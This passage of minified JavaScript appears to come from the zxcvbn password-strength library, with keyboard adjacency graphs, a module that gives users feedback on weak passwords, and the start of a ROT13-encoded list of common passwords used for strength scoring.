+","[{","pP"],"`":[null,null,null,"1!",null,null],a:[null,"qQ","wW","sS","zZ",null],b:["vV","gG","hH","nN",null,null],c:["xX","dD","fF","vV",null,null],d:["sS","eE","rR","fF","cC","xX"],e:["wW","3#","4$","rR","dD","sS"],f:["dD","rR","tT","gG","vV","cC"],g:["fF","tT","yY","hH","bB","vV"],h:["gG","yY","uU","jJ","nN","bB"],i:["uU","8*","9(","oO","kK","jJ"],j:["hH","uU","iI","kK","mM","nN"],k:["jJ","iI","oO","lL",",<","mM"],l:["kK","oO","pP",";:",".>",",<"],m:["nN","jJ","kK",",<",null,null],n:["bB","hH","jJ","mM",null,null],o:["iI","9(","0)","pP","lL","kK"],p:["oO","0)","-_","[{",";:","lL"],q:[null,"1!","2@","wW","aA",null],r:["eE","4$","5%","tT","fF","dD"],s:["aA","wW","eE","dD","xX","zZ"],t:["rR","5%","6^","yY","gG","fF"],u:["yY","7&","8*","iI","jJ","hH"],v:["cC","fF","gG","bB",null,null],w:["qQ","2@","3#","eE","sS","aA"],x:["zZ","sS","dD","cC",null,null],y:["tT","6^","7&","uU","hH","gG"],z:[null,"aA","sS","xX",null,null],"{":["pP","-_","=+","]}","'\"",";:"],"|":["]}",null,null,null,null,null],"}":["[{","=+",null,"\\|",null,"'\""],"~":[null,null,null,"1!",null,null]},dvorak:{"!":["`~",null,null,"2@","'\"",null],'"':[null,"1!","2@",",<","aA",null],"#":["2@",null,null,"4$",".>",",<"],$:["3#",null,null,"5%","pP",".>"],"%":["4$",null,null,"6^","yY","pP"],"&":["6^",null,null,"8*","gG","fF"],"'":[null,"1!","2@",",<","aA",null],"(":["8*",null,null,"0)","rR","cC"],")":["9(",null,null,"[{","lL","rR"],"*":["7&",null,null,"9(","cC","gG"],"+":["/?","]}",null,"\\|",null,"-_"],",":["'\"","2@","3#",".>","oO","aA"],"-":["sS","/?","=+",null,null,"zZ"],".":[",<","3#","4$","pP","eE","oO"],"/":["lL","[{","]}","=+","-_","sS"],0:["9(",null,null,"[{","lL","rR"],1:["`~",null,null,"2@","'\"",null],2:["1!",null,null,"3#",",<","'\""],3:["2@",null,null,"4$",".>",",<"],4:["3#",null,null,"5%","pP",".>"],5:["4$",null,null,"6^","yY","pP"],6:["5%",null,null,"7&","fF","yY"],7:["6^",null,null,"8*","gG","fF"],8:["7&",null,null,"9(","cC","gG"],9:["8*",null,null,"0)","rR","cC"],":":[null,"aA","oO","qQ",null,null],";":[null,"aA","oO","qQ",null,null],"<":["'\"","2@","3#",".>","oO","aA"],"=":["/?","]}",null,"\\|",null,"-_"],">":[",<","3#","4$","pP","eE","oO"],"?":["lL","[{","]}","=+","-_","sS"],"@":["1!",null,null,"3#",",<","'\""],A:[null,"'\"",",<","oO",";:",null],B:["xX","dD","hH","mM",null,null],C:["gG","8*","9(","rR","tT","hH"],D:["iI","fF","gG","hH","bB","xX"],E:["oO",".>","pP","uU","jJ","qQ"],F:["yY","6^","7&","gG","dD","iI"],G:["fF","7&","8*","cC","hH","dD"],H:["dD","gG","cC","tT","mM","bB"],I:["uU","yY","fF","dD","xX","kK"],J:["qQ","eE","uU","kK",null,null],K:["jJ","uU","iI","xX",null,null],L:["rR","0)","[{","/?","sS","nN"],M:["bB","hH","tT","wW",null,null],N:["tT","rR","lL","sS","vV","wW"],O:["aA",",<",".>","eE","qQ",";:"],P:[".>","4$","5%","yY","uU","eE"],Q:[";:","oO","eE","jJ",null,null],R:["cC","9(","0)","lL","nN","tT"],S:["nN","lL","/?","-_","zZ","vV"],T:["hH","cC","rR","nN","wW","mM"],U:["eE","pP","yY","iI","kK","jJ"],V:["wW","nN","sS","zZ",null,null],W:["mM","tT","nN","vV",null,null],X:["kK","iI","dD","bB",null,null],Y:["pP","5%","6^","fF","iI","uU"],Z:["vV","sS","-_",null,null,null],"[":["0)",null,null,"]}","/?","lL"],"\\":["=+",null,null,null,null,null],"]":["[{",null,null,null,"=+","/?"],"^":["5%",null,null,"7&","fF","yY"],_:["sS","/?","=+",null,null,"zZ"],"`":[null,null,null,"1!",null,null],a:[null,"'\"",",<","oO",";:",null],b:["xX","dD","hH","mM",null,null],c:["gG","8*","9(","rR","tT","hH"],d:["iI","fF","gG","hH","bB","xX"],e:["oO",".>","pP","uU","jJ","qQ"],f:["yY","6^","7&","gG","dD","iI"],g:["fF","7&","8*","cC","hH","dD"],h:["dD","gG","cC","tT","mM","bB"],i:["uU","yY","fF","dD","xX","kK"],j:["qQ","eE","uU","kK",null,null],k:["jJ","uU","iI","xX",null,null],l:["rR","0)","[{","/?","sS","nN"],m:["bB","hH","tT","wW",null,null],n:["tT","rR","lL","sS","vV","wW"],o:["aA",",<",".>","eE","qQ",";:"],p:[".>","4$","5%","yY","uU","eE"],q:[";:","oO","eE","jJ",null,null],r:["cC","9(","0)","lL","nN","tT"],s:["nN","lL","/?","-_","zZ","vV"],t:["hH","cC","rR","nN","wW","mM"],u:["eE","pP","yY","iI","kK","jJ"],v:["wW","nN","sS","zZ",null,null],w:["mM","tT","nN","vV",null,null],x:["kK","iI","dD","bB",null,null],y:["pP","5%","6^","fF","iI","uU"],z:["vV","sS","-_",null,null,null],"{":["0)",null,null,"]}","/?","lL"],"|":["=+",null,null,null,null,null],"}":["[{",null,null,null,"=+","/?"],"~":[null,null,null,"1!",null,null]},keypad:{"*":["/",null,null,null,"-","+","9","8"],"+":["9","*","-",null,null,null,null,"6"],"-":["*",null,null,null,null,null,"+","9"],".":["0","2","3",null,null,null,null,null],"/":[null,null,null,null,"*","9","8","7"],0:[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".","0",null],3:["2","5","6",null,null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:["4","7","8","9","6","3","2","1"],6:["5","8","9","+",null,null,"3","2"],7:[null,null,null,"/","8","5","4",null],8:["7",null,"/","*","9","6","5","4"],9:["8","/","*","-","+",null,"6","5"]},mac_keypad:{"*":["/",null,null,null,null,null,"-","9"],"+":["6","9","-",null,null,null,null,"3"],"-":["9","/","*",null,null,null,"+","6"],".":["0","2","3",null,null,null,null,null],"/":["=",null,null,null,"*","-","9","8"],0:[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".","0",null],3:["2","5","6","+",null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:["4","7","8","9","6","3","2","1"],6:["5","8","9","-","+",null,"3","2"],7:[null,null,null,"=","8","5","4",null],8:["7",null,"=","/","9","6","5","4"],9:["8","=","/","*","-","+","6","5"],"=":[null,null,null,null,"/","9","8","7"]}},module.exports=adjacency_graphs; },{}],2:[function(require,module,exports){ var feedback,scoring;scoring=require("./scoring"),feedback={default_feedback:{warning:"",suggestions:["Use a few words, avoid common phrases","No need for symbols, digits, or uppercase letters"]},get_feedback:function(e,s){var a,t,r,n,o,i;if(0===s.length)return this.default_feedback;if(e>2)return{warning:"",suggestions:[]};for(n=s[0],i=s.slice(1),t=0,r=i.length;t<r;t++)o=i[t],o.token.length>n.token.length&&(n=o);return feedback=this.get_match_feedback(n,1===s.length),a="Add another word or two. Uncommon words are better.",null!=feedback?(feedback.suggestions.unshift(a),null==feedback.warning&&(feedback.warning="")):feedback={warning:"",suggestions:[a]},feedback},get_match_feedback:function(e,s){var a,t;switch(e.pattern){case"dictionary":return this.get_dictionary_match_feedback(e,s);case"spatial":return a=e.graph.toUpperCase(),t=1===e.turns?"Straight rows of keys are easy to guess":"Short keyboard patterns are easy to guess",{warning:t,suggestions:["Use a longer keyboard pattern with more turns"]};case"repeat":return t=1===e.base_token.length?'Repeats like "aaa" are easy to guess':'Repeats like "abcabcabc" are only slightly harder to guess than "abc"',{warning:t,suggestions:["Avoid repeated words and characters"]};case"sequence":return{warning:"Sequences like abc or 6543 are easy to guess",suggestions:["Avoid sequences"]};case"regex":if("recent_year"===e.regex_name)return{warning:"Recent years are easy to guess",suggestions:["Avoid recent years","Avoid years that are associated with you"]};break;case"date":return{warning:"Dates are often easy to guess",suggestions:["Avoid dates and years that are associated with you"]}}},get_dictionary_match_feedback:function(e,s){var a,t,r,n,o;return n="passwords"===e.dictionary_name?!s||e.l33t||e.reversed?e.guesses_log10<=4?"This is similar to a commonly used password":void 0:e.rank<=10?"This is a top-10 common password":e.rank<=100?"This is a top-100 common password":"This is a very common password":"english"===e.dictionary_name?s?"A word by itself is easy to guess":void 0:"surnames"===(a=e.dictionary_name)||"male_names"===a||"female_names"===a?s?"Names and surnames by themselves are easy to guess":"Common names and surnames are easy to guess":"",r=[],o=e.token,o.match(scoring.START_UPPER)?r.push("Capitalization doesn't help very much"):o.match(scoring.ALL_UPPER)&&o.toLowerCase()!==o&&r.push("All-uppercase is almost as easy to guess as all-lowercase"),e.reversed&&e.token.length>=4&&r.push("Reversed words aren't much harder to guess"),e.l33t&&r.push("Predictable substitutions like '@' instead of 'a' don't help very much"),t={warning:n,suggestions:r}}},module.exports=feedback; },{"./scoring":6}],3:[function(require,module,exports){ var frequency_lists;frequency_lists={passwords:"123456,cnffjbeq,12345678,djregl,123456789,12345,1234,111111,1234567,qentba,123123,onfronyy,nop123,sbbgonyy,zbaxrl,yrgzrva,funqbj,znfgre,696969,zhfgnat,666666,djreglhvbc,123321,1234567890,chffl,fhcrezna,654321,1dnm2jfk,7777777,shpxlbh,dnmjfk,wbeqna,123djr,000000,xvyyre,gehfgab1,uhagre,uneyrl,mkpioaz,nfqstu,ohfgre,ongzna,fbppre,gvttre,puneyvr,fhafuvar,vybirlbh,shpxzr,enatre,ubpxrl,pbzchgre,fgnejnef,nffubyr,crccre,xynfgre,112233,mkpioa,serrqbz,cevaprff,znttvr,cnff,tvatre,11111111,131313,shpx,ybir,purrfr,159753,fhzzre,puryfrn,qnyynf,ovgrzr,zngevk,lnaxrrf,6969,pbeirggr,nhfgva,npprff,guhaqre,zreyva,frperg,qvnzbaq,uryyb,unzzre,shpxre,1234djre,fvyire,tsuwxz,vagrearg,fnznagun,tbysre,fpbbgre,grfg,benatr,pbbxvr,d1j2r3e4g5,znirevpx,fcnexl,cubravk,zvpxrl,ovtqbt,fabbcl,thvgne,jungrire,puvpxra,pnzneb,zreprqrf,crnahg,sreenev,snypba,pbjobl,jrypbzr,frkl,fnzfhat,fgrryref,fzbxrl,qnxbgn,nefrany,obbzre,rntyrf,gvtref,znevan,anfpne,obbobb,tngrjnl,lryybj,cbefpur,zbafgre,fcvqre,qvnoyb,unaanu,ohyyqbt,whavbe,ybaqba,checyr,pbzcnd,ynxref,vprzna,djre1234,uneqpber,pbjoblf,zbarl,onanan,app1701,obfgba,graavf,d1j2r3e4,pbssrr,fpbbol,123654,avxvgn,lnznun,zbgure,onearl,oenaql,purfgre,shpxbss,byvire,cynlre,sberire,enatref,zvqavtug,puvpntb,ovtqnqql,erqfbk,natry,onqobl,sraqre,wnfcre,fynlre,enoovg,angnfun,znevar,ovtqvpx,jvmneq,zneyobeb,envqref,cevapr,pnfcre,svfuvat,sybjre,wnfzvar,vjnagh,cnagvrf,nqvqnf,jvagre,jvaare,tnaqnys,cnffjbeq1,ragre,tuoqga,1d2j3r4e,tbyqra,pbpnpbyn,wbeqna23,jvafgba,znqvfba,natryf,cnagure,oybjzr,frkfrk,ovtgvgf,fcnaxl,ovgpu,fbcuvr,nfqsnfqs,ubeal,guk1138,gblbgn,gvtre,qvpx,pnanqn,12344321,oybjwbo,8675309,zhssva,yvirecbb,nccyrf,djregl123,cnffj0eq,nopq1234,cbxrzba,123nop,fyvcxabg,dnmkfj,123456n,fpbecvba,djnfmk,ohggre,fgnegerx,envaobj,nfqstuwxy,enmm,arjlbex,erqfxvaf,trzvav,pnzreba,dnmjfkrqp,sybevqn,yvirecbby,ghegyr,fvreen,ivxvat,obbtre,ohggurnq,qbpgbe,ebpxrg,159357,qbycuvaf,pncgnva,onaqvg,wnthne,cnpxref,cbbxvr,crnpurf,789456,nfqs,qbycuva,uryczr,oyhr,gurzna,znkjryy,djreglhv,fuvgurnq,ybiref,znqqbt,tvnagf,aveinan,zrgnyyvp,ubgqbt,ebfrohq,zbhagnva,jneevbe,fghcvq,ryrcunag,fhpxvg,fhpprff,obaq007,wnpxnff,nyrkvf,cbea,yhpxl,fpbecvb,fnzfba,d1j2r3,nmregl,ehfu2112,qevire,serqql,1d2j3r4e5g,flqarl,tngbef,qrkgre,erq123,123456d,12345n,ohoon,perngvir,ibbqbb,tbys,gebhoyr,nzrevpn,avffna,thaare,tnesvryq,ohyyfuvg,nfqstuwx,5150,shpxvat,ncbyyb,1dnmkfj2,2112,rzvarz,yrtraq,nveobear,orne,ornivf,nccyr,oebbxyla,tbqmvyyn,fxvccl,4815162342,ohqql,djreg,xvggra,zntvp,furyol,ornire,cunagbz,nfqnfq,knivre,oenirf,qnexarff,oyvax182,pbccre,cyngvahz,djrdjr,gbzpng,01012011,tveyf,ovtobl,102030,navzny,cbyvpr,bayvar,11223344,iblntre,yvsrunpx,12djnfmk,svfu,favcre,315475,gevavgl,oynmre,urnira,ybire,fabjonyy,cynlobl,ybirzr,ohooyrf,ubbgref,pevpxrg,jvyybj,qbaxrl,gbctha,avagraqb,fnghea,qrfgval,cnxvfgna,chzcxva,qvtvgny,fretrl,erqjvatf,rkcybere,gvgf,cevingr,ehaare,gurebpx,thvaarff,ynfirtnf,orngyrf,789456123,sver,pnffvr,puevfgva,djregl1,prygvp,nfqs1234,naqerl,oebapbf,007007,onoltvey,rpyvcfr,syhssl,pnegzna,zvpuvtna,pnebyvan,grfgvat,nyrknaqr,oveqvr,cnagren,pureel,inzcver,zrkvpb,qvpxurnq,ohssnyb,travhf,zbagnan,orre,zvarpensg,znkvzhf,sylref,ybiryl,fgnyxre,zrgnyyvpn,qbttvr,favpxref,fcrrql,oebapb,yby123,cnenqvfr,lnaxrr,ubefrf,zntahz,qernzf,147258369,ynpebffr,bh812,tbbore,ravtzn,djreglh,fpbggl,cvzcva,obyybpxf,fhesre,pbpx,cbbuorne,trarfvf,fgne,nfq123,djrnfqmkp,enpvat,uryyb1,unjnvv,rntyr1,ivcre,cbbcbb,rvafgrva,obbovrf,12345d,ovgpurf,qebjffnc,fvzcyr,onqtre,nynfxn,npgvba,wrfgre,qehzzre,111222,fcvgsver,sberfg,znelwnar,punzcvba,qvrfry,firgynan,sevqnl,ubgebq,147258,puril,yhpxl1,jrfgfvqr,frphevgl,tbbtyr,onqnff,grfgre,fubegl,guhzcre,uvgzna,zbmneg,mnd12jfk,obbof,erqqbt,010203,yvmneq,n123456,123456789n,ehfyna,rntyr,1232323d,fpnesnpr,djregl12,147852,n12345,ohqqun,cbeab,420420,fcvevg,zbarl1,fgnetngr,djr123,anehgb,zrephel,yvoregl,12345djreg,frzcresv,fhmhxv,cbcpbea,fcbbxl,zneyrl,fpbgynaq,xvggl,purebxrr,ivxvatf,fvzcfbaf,enfpny,djrnfq,uhzzre,ybirlbh,zvpunry1,cngpurf,ehffvn,whcvgre,crathva,cnffvba,phzfubg,isuols,ubaqn,iynqvzve,fnaqzna,cnffcbeg,envqre,onfgneq,123789,vasvavgl,nffzna,ohyyqbtf,snagnfl,fhpxre,1234554321,ubearl,qbzvab,ohqyvtug,qvfarl,vebazna,hfhpxonyym1,fbsgonyy,oehghf,erqehz,ovterq,zaoipkm,sxgepslyu,xnevan,znevarf,qvttre,xnjnfnxv,pbhtne,sverzna,bxfnan,zbaqnl,phag,whfgvpr,avttre,fhcre,jvyqpngf,gvaxre,ybtvgrpu,qnapre,fjbeqsvf,ninyba,riregba,nyrknaqe,zbgbebyn,cngevbgf,uragnv,znqbaan,chffl1,qhpngv,pbybenqb,pbaabe,whiraghf,tnyber,fzbbgu,serrhfre,jnepensg,obbtvr,gvgnavp,jbyireva,ryvmnorg,nevmban,inyragva,fnvagf,nfqst,nppbeq,grfg123,cnffjbeq123,puevfg,lsasvs,fgvaxl,fyhg,fcvqrezn,anhtugl,pubccre,uryyb123,app1701q,rkgerzr,fxlyvar,cbbc,mbzovr,crneywnz,123djrnfq,sebttl,njrfbzr,ivfvba,cvengr,slyugd,qernzre,ohyyrg,cerqngbe,rzcver,123123n,xvevyy,puneyvr1,cnaguref,cravf,fxvccre,arzrfvf,enfqmi3,crrxnobb,ebyygvqr,pneqvany,cflpub,qnatre,zbbxvr,unccl1,jnaxre,puriryyr,znahgq,tboyhr,9379992,uboorf,irtrgn,slspaspom,852456,cvpneq,159951,jvaqbjf,ybireobl,ivpgbel,isepoi,onzonz,frertn,123654789,ghexrl,gjrrgl,tnyvan,uvcubc,ebbfgre,punatrzr,oreyva,gnhehf,fhpxzr,cbyvan,ryrpgevp,ningne,134679,znxfvz,encgbe,nycun1,uraqevk,arjcbeg,ovtpbpx,oenmvy,fcevat,n1o2p3,znqznk,nycun,oevgarl,fhoyvzr,qnexfvqr,ovtzna,jbyscnpx,pynffvp,urephyrf,ebanyqb,yrgzrva1,1d2j3r,741852963,fcvqrezna,oyvmmneq,123456789d,purlraar,pwxlfvew,gvtre1,jbzong,ohoon1,cnaqben,mkp123,ubyvqnl,jvyqpng,qrivyf,ubefr,nynonzn,147852369,pnrfne,12312,ohqql1,obaqntr,chfflpng,cvpxyr,funttl,pngpu22,yrngure,puebavp,n1o2p3q4,nqzva,ddd111,dnm123,nvecynar,xbqvnx,serrcnff,ovyylobo,fhafrg,xngnan,cucoo,pubpbyng,fabjzna,natry1,fgvatenl,sveroveq,jbyirf,mrccryva,qrgebvg,cbagvnp,thaqnz,cnamre,intvan,bhgynj,erqurnq,gneurryf,terraqnl,anfgln,01011980,uneqba,ratvarre,qentba1,uryysver,freravgl,pboen,sveronyy,yvpxzr,qnexfgne,1029384756,01011,zhfgnat1,synfu,124578,fgevxr,ornhgl,cnivyvba,01012000,obonsrgg,qoeawuom,ovtznp,objyvat,puevf1,lgerjd,angnyv,clenzvq,ehyrm,jrypbzr1,qbqtref,ncnpur,fjvzzvat,julabg,grraf,gebbcre,shpxvg,qrsraqre,cerpvbhf,135790,cnpxneq,jrnfry,cbcrlr,yhpvsre,pnapre,vprpernz,142536,enira,fjbeqsvfu,cerfnevb,ivxgbe,ebpxfgne,oybaqr,wnzrf1,jhgnat,fcvxr,cvzc,ngynagn,nvesbepr,gunvynaq,pnfvab,yraaba,zbhfr,741852,unpxre,oyhroveq,unjxrlr,456123,gurbar,pngsvfu,fnvybe,tbyqsvfu,asazmls,gnggbb,creireg,oneovr,znkvzn,avccyrf,znpuvar,gehpxf,jenatyre,ebpxf,gbeanqb,yvtugf,pnqvyynp,ohooyr,crtnfhf,znqzna,ybatubea,oebjaf,gnetrg,666999,rngzr,dnmjfk123,zvpebfbsg,qvyoreg,puevfgvn,onyyre,yrfovna,fubbgre,ksvyrf,frnggyr,dnmdnm,pguhgd,nzngrhe,ceryhqr,pbeban,sernxl,znyvoh,123djrnfqmkp,nffnffva,246810,ngynagvf,vagrten,chffvrf,vybirh,ybarjbys,qentbaf,zbaxrl1,havpbea,fbsgjner,obopng,fgrnygu,crrjrr,bcrahc,753951,fevavinf,mndjfk,inyragvan,fubgtha,gevttre,irebavxn,oehvaf,pblbgr,onolqbyy,wbxre,qbyyne,yrfgng,ebpxl1,ubggvr,enaqbz,ohggresyl,jbeqcnff,fzvyrl,fjrrgl,fanxr,puvccre,jbbql,fnzhenv,qrivyqbt,tvmzb,znqqvr,fbfb123nywt,zvfgerff,serrqbz1,syvccre,rkcerff,uwisves,zbbfr,prffan,cvtyrg,cbynevf,grnpure,zbagerny,pbbxvrf,jbystnat,fphyyl,sngobl,jvpxrq,onyyf,gvpxyr,ohaal,qsitou,sbbone,genafnz,crcfv,srgvfu,bvph812,onfxrgon,gbfuvon,ubgfghss,fhaqnl,obbgl,tnzovg,31415926,vzcnyn,fgrcunav,wrffvpn1,ubbxre,ynapre,xavpxf,funzebpx,shpxlbh2,fgvatre,314159,erqarpx,qrsgbarf,fdhveg,fvrzraf,oynfgre,gehpxre,fhoneh,erartnqr,vonarm,znafba,fjvatre,erncre,oybaqvr,zlybir,tnynkl,oynuoynu,ragrecev,geniry,1234nopq,onolyba5,vaqvnan,fxrrgre,znfgre1,fhtne,svpxra,fzbxr,ovtbar,fjrrgcrn,shpxrq,gesaguols,znevab,rfpbeg,fzvggl,ovtsbbg,onorf,ynevfn,gehzcrg,fcnegna,inyren,onolyba,nfqstuw,lnaxrrf1,ovtobbof,fgbezl,zvfgre,unzyrg,nneqinex,ohggresy,znenguba,cnynqva,pninyvre,znapurfgre,fxngre,vaqvtb,ubearg,ohpxrlrf,01011990,vaqvnaf,xnengr,urfblnz,gbebagb,qvnzbaqf,puvrsf,ohpxrlr,1dnm2jfk3rqp,uvtuynaq,ubgfrk,punetre,erqzna,cnffjbe,znvqra,qecrccre,fgbez,cbeafgne,tneqra,12345678910,crapvy,fureybpx,gvzore,guhtyvsr,vafnar,cvmmn,whatyr,wrfhf1,nentbea,1n2o3p,unzfgre,qnivq1,gevhzcu,grpuab,ybyyby,cvbarre,pngqbt,321654,sxgepgd,zbecurhf,141627,cnfpny,funqbj1,uboovg,jrgchffl,rebgvp,pbafhzre,oynoyn,whfgzr,fgbarf,puevffl,fcnegnx,tbsbevg,ohetre,cvgohyy,nqtwzcgj,vgnyvn,onepryban,uhagvat,pbybef,xvffzr,ivetva,bireybeq,crooyrf,fhaqnapr,rzrenyq,qbttl,enprpne,vevan,ryrzrag,1478963,mvccre,nycvar,onfxrg,tbqqrff,cbvfba,avccyr,fnxhen,puvpuv,uhfxref,13579,chfflf,d12345,hygvzngr,app1701r,oynpxvr,avpbyn,ebzzry,znggurj1,pnfregn,bzrtn,trebavzb,fnzzl1,gebwna,123djr123,cuvyvcf,ahttrg,gnemna,puvpxf,nyrxfnaqe,onffzna,gevkvr,cbeghtny,nanxva,qbqtre,obzore,fhcresyl,znqarff,d1j2r3e4g5l6,ybfre,123nfq,sngpng,loeoas,fbyqvre,jneybpx,jevaxyr1,qrfver,frkhny,onor,frzvabyr,nyrwnaqe,951753,11235813,jrfgunz,naqerv,pbapergr,npprff14,jrrq,yrgzrva2,ynqloht,anxrq,puevfgbc,gebzobar,gvagva,oyhrfxl,euopaols,dnmkfjrqp,barybir,pqgaxsls,juber,isiwkes,gvgnaf,fgnyyvba,gehpx,unafbyb,oyhr22,fzvyrf,orntyr,cnanzn,xvatxbat,syngeba,vasreab,zbatbbfr,pbaarpg,cbvhlg,fangpu,dnjfrq,whvpr,oyrffrq,ebpxre,fanxrf,gheob,oyhrzbba,frk4zr,svatre,wnznvpn,n1234567,zhyqre,orrgyr,shpxlbh1,cnffng,vzzbegny,cynfgvp,123454321,nagubal1,juvfxrl,qvrgpbxr,fhpx,fchaxl,zntvp1,zbavgbe,pnpghf,rkvtra,cynarg,evccre,grra,fclqre,nccyr1,abyvzvg,ubyyljbb,fyhgf,fgvpxl,gehaxf,1234321,14789632,cvpxyrf,fnvyvat,obarurnq,tuoqgaoe,qrygn,puneybgg,ehoore,911911,112358,zbyyl1,lbznzn,ubatxbat,whzcre,jvyyvnz1,vybirfrk,snfgre,haerny,phzzvat,zrzcuvf,1123581321,alybaf,yrtvba,fronfgvn,funybz,cragvhz,trurvz,jrerjbys,shagvzr,sreerg,bevba,phevbhf,555666,avaref,pnagban,fcevgr,cuvyyl,cvengrf,noteglh,ybyyvcbc,rgreavgl,obrvat,fhcre123,fjrrgf,pbbyqhqr,gbggraun,terra1,wnpxbss,fgbpxvat,7895123,zbbzbb,znegvav,ovfphvg,qevmmg,pbyg45,sbffvy,znxniryv,fanccre,fngna666,znavnp,fnyzba,cngevbg,ireongvz,anfgl,funfgn,nfqmkp,funirq,oynpxpng,envfgyva,djregl12345,chaxebpx,pwxljg,01012010,4128,jngreybb,pevzfba,gjvfgre,bksbeq,zhfvpzna,frvasryq,ovttvr,pbaqbe,eniraf,zrtnqrgu,jbyszna,pbfzbf,funexf,onafurr,xrrcre,sbkgebg,ta56ta56,fxljnyxr,iryirg,oynpx1,frfnzr,qbtf,fdhveery,cevirg,fhaevfr,jbyirevar,fhpxf,yrtbynf,teraqry,tubfg,pngf,pneebg,sebfgl,yioauod,oynqrf,fgneqhfg,sebt,dnmjfkrq,121314,pbbyvb,oebjavr,tebbil,gjvyvtug,qnlgban,inaunyra,cvxnpuh,crnahgf,yvpxre,urefurl,wrevpub,vagercvq,avawn,1234567n,mnd123,ybofgre,tboyva,chavfure,fgevqre,fubtha,xnafnf,nznqrhf,frira7,wnfba1,arcghar,fubjgvzr,zhfpyr,byqzna,rxngrevan,esesves,trgfbzr,fubjzr,111222333,bovjna,fxvggyrf,qnaav,gnaxre,znrfgeb,gneurry,nahovf,unaavony,nany,arjyvsr,tbguvp,funex,svtugre,oyhr123,oyhrf,123456m,cevaprf,fyvpx,punbf,guhaqre1,fnovar,1d2j3r4e5g6l,clguba,grfg1,zventr,qrivy,pybire,grdhvyn,puryfrn1,fhesvat,qryrgr,cbgngb,puhool,cnanfbavp,fnaqvrtb,cbegynaq,onttvaf,shfvba,fbbaref,oynpxqbt,ohggbaf,pnyvsbea,zbfpbj,cynlgvzr,zngher,1n2o3p4q,qnttre,qvzn,fgvzcl,nfqs123,tnatfgre,jneevbef,virefba,punetref,olgrzr,fjnyybj,yvdhvq,yhpxl7,qvatqbat,alzrgf,penpxre,zhfuebbz,456852,pehfnqre,ovtthl,zvnzv,qxsyoiou,ohttre,avzebq,gnmzna,fgenatre,arjcnff,qbbqyr,cbjqre,tbgpun,thneqvna,qhoyva,fyncfubg,frcgrzor,147896325,crcfv1,zvynab,tevmmyl,jbbql1,xavtugf,cubgbf,2468,abbxvr,puneyl,enzzfgrva,oenfvy,123321123,fpehssl,zhapuxva,cbbcvr,123098,xvgglpng,yngvab,jnyahg,1701,gurtnzr,ivcre1,1cnffjbe,xbybobx,cvpnffb,eboreg1,onepryba,onananf,genapr,nhohea,pbygenar,rngfuvg,tbbqyhpx,fgnepensg,jurryf,cneebg,cbfgny,oynqr,jvfqbz,cvax,tbevyyn,xngrevan,cnff123,naqerj1,funarl14,qhzonff,bfvevf,shpx_vafvqr,bnxynaq,qvfpbire,enatre1,fcnaxvat,ybarfgne,ovatb,zrevqvna,cvat,urngure1,qbbxvr,fgbarpby,zrtnzna,192837465,ewaglwe,yrqmrc,ybjevqre,25802580,evpuneq1,sversyl,tevssrl,enprek,cnenqbk,tuwpaw,tnatfgn,mnd1kfj2,gnpboryy,jrrmre,fvevhf,unysyvsr,ohssrgg,fuvybu,123698745,iregvtb,fretrv,nyvraf,fbonxn,xrlobneq,xnatnebb,fvaare,fbppre1,0.0.000,obawbhe,fbpengrf,puhpxl,ubgobl,fcevag,0007,fnenu1,fpneyrg,pryvpn,funmnz,sbezhyn1,fbzzre,gerobe,djrenfqs,wrrc,znvyperngrq5240,obyybk,nffubyr1,shpxsnpr,ubaqn1,eroryf,inpngvba,yrkznex,crathvaf,12369874,entanebx,sbezhyn,258456,grzcrfg,isurpm,gnpbzn,djregm,pbybzovn,synzrf,ebpxba,qhpx,cebqvtl,jbbxvr,qbqtrenz,zhfgnatf,123dnm,fvguybeq,fzbxre,freire,onat,vaphohf,fpbbolqb,boyvivba,zbyfba,xvgxng,gvgyrvfg,erfphr,mkpi1234,pnecrg,1122,ovtonyyf,gneqvf,wvzobo,knanqh,oyhrrlrf,funzna,zrefrqrf,cbbcre,chffl69,tbysvat,urnegf,znyyneq,12312312,xrajbbq,cngevpx1,qbtt,pbjoblf1,benpyr,123mkp,ahggregbbyf,102938,gbccre,1122334455,furznyr,fyrrcl,terzyva,lbhezbz,123987,tngrjnl1,cevagre,zbaxrlf,crgrecna,zvxrl,xvatfgba,pbbyre,nanyfrk,wvzob,cn55jbeq,nfgrevk,serpxyrf,oveqzna,senax1,qrsvnag,nhffvr,fghq,oybaqrf,gnglnan,445566,nfcvevar,znevaref,wnpxny,qrnqurnq,xngeva,navzr,ebbgorre,sebttre,cbyb,fpbbgre1,unyyb,abbqyrf,gubznf1,cnebyn,funbyva,pryvar,11112222,cylzbhgu,pernzcvr,whfgqbvg,bulrnu,sngnff,nffshpx,nznmba,1234567d,xvffrf,zntahf,pnzry,abcnff,obfpb,987456,6751520,uneyrl1,chggre,punzcf,znffvir,fcvqrl,yvtugava,pnzrybg,yrgftb,tvmzbqb,nrmnxzv,obarf,pnyvragr,12121,tbbqgvzr,gunaxlbh,envqref1,oehpryrr,erqnyreg,ndhnevhf,456654,pngureva,fzbxva,cbbu,zlcnff,nfgebf,ebyyre,cbexpubc,fnccuver,djreg123,xriva1,n1f2q3s4,orpxunz,ngbzvp,ehfgl1,inavyyn,dnmjfkrqpesi,uhagre1,xnxghf,pkspazg,oynpxl,753159,ryivf1,nttvrf,oynpxwnp,onatxbx,fpernz,123321d,vsbetbg,cbjre1,xnfcre,nop12,ohfgre1,fynccl,fuvggl,irevgnf,puriebyr,nzore1,01012001,inqre,nzfgreqnz,wnzzre,cevzhf,fcrpgehz,rqhneq,tenaal,ubeal1,fnfun1,pynapl,hfn123,fngna,qvnzbaq1,uvgyre,niratre,1221,fcnaxzr,123456djregl,fvzon,fzhqtr,fpenccl,ynoenqbe,wbua316,flenphfr,sebag242,snypbaf,uhfxre,pnaqlzna,pbzznaqb,tngbe,cnpzna,qrygn1,cnapub,xevfuan,sngzna,pyvgbevf,cvarnccy,yrfovnaf,8w4lr3hm,onexyrl,ihypna,chaxva,obare,prygvpf,zbabcbyl,sylobl,ebznfuxn,unzohet,123456nn,yvpx,tnatonat,223344,nern51,fcnegnaf,nnn111,gevpxl,fahttyrf,qentb,ubzreha,irpgen,ubzre1,urezrf,gbcpng,phqqyrf,vasvavgv,1234567890d,pbfjbegu,tbbfr,cubravk1,xvyyre1,vinabi,obffzna,dnjfrqes,crhtrbg,rkvtrag,qborezna,qhenatb,o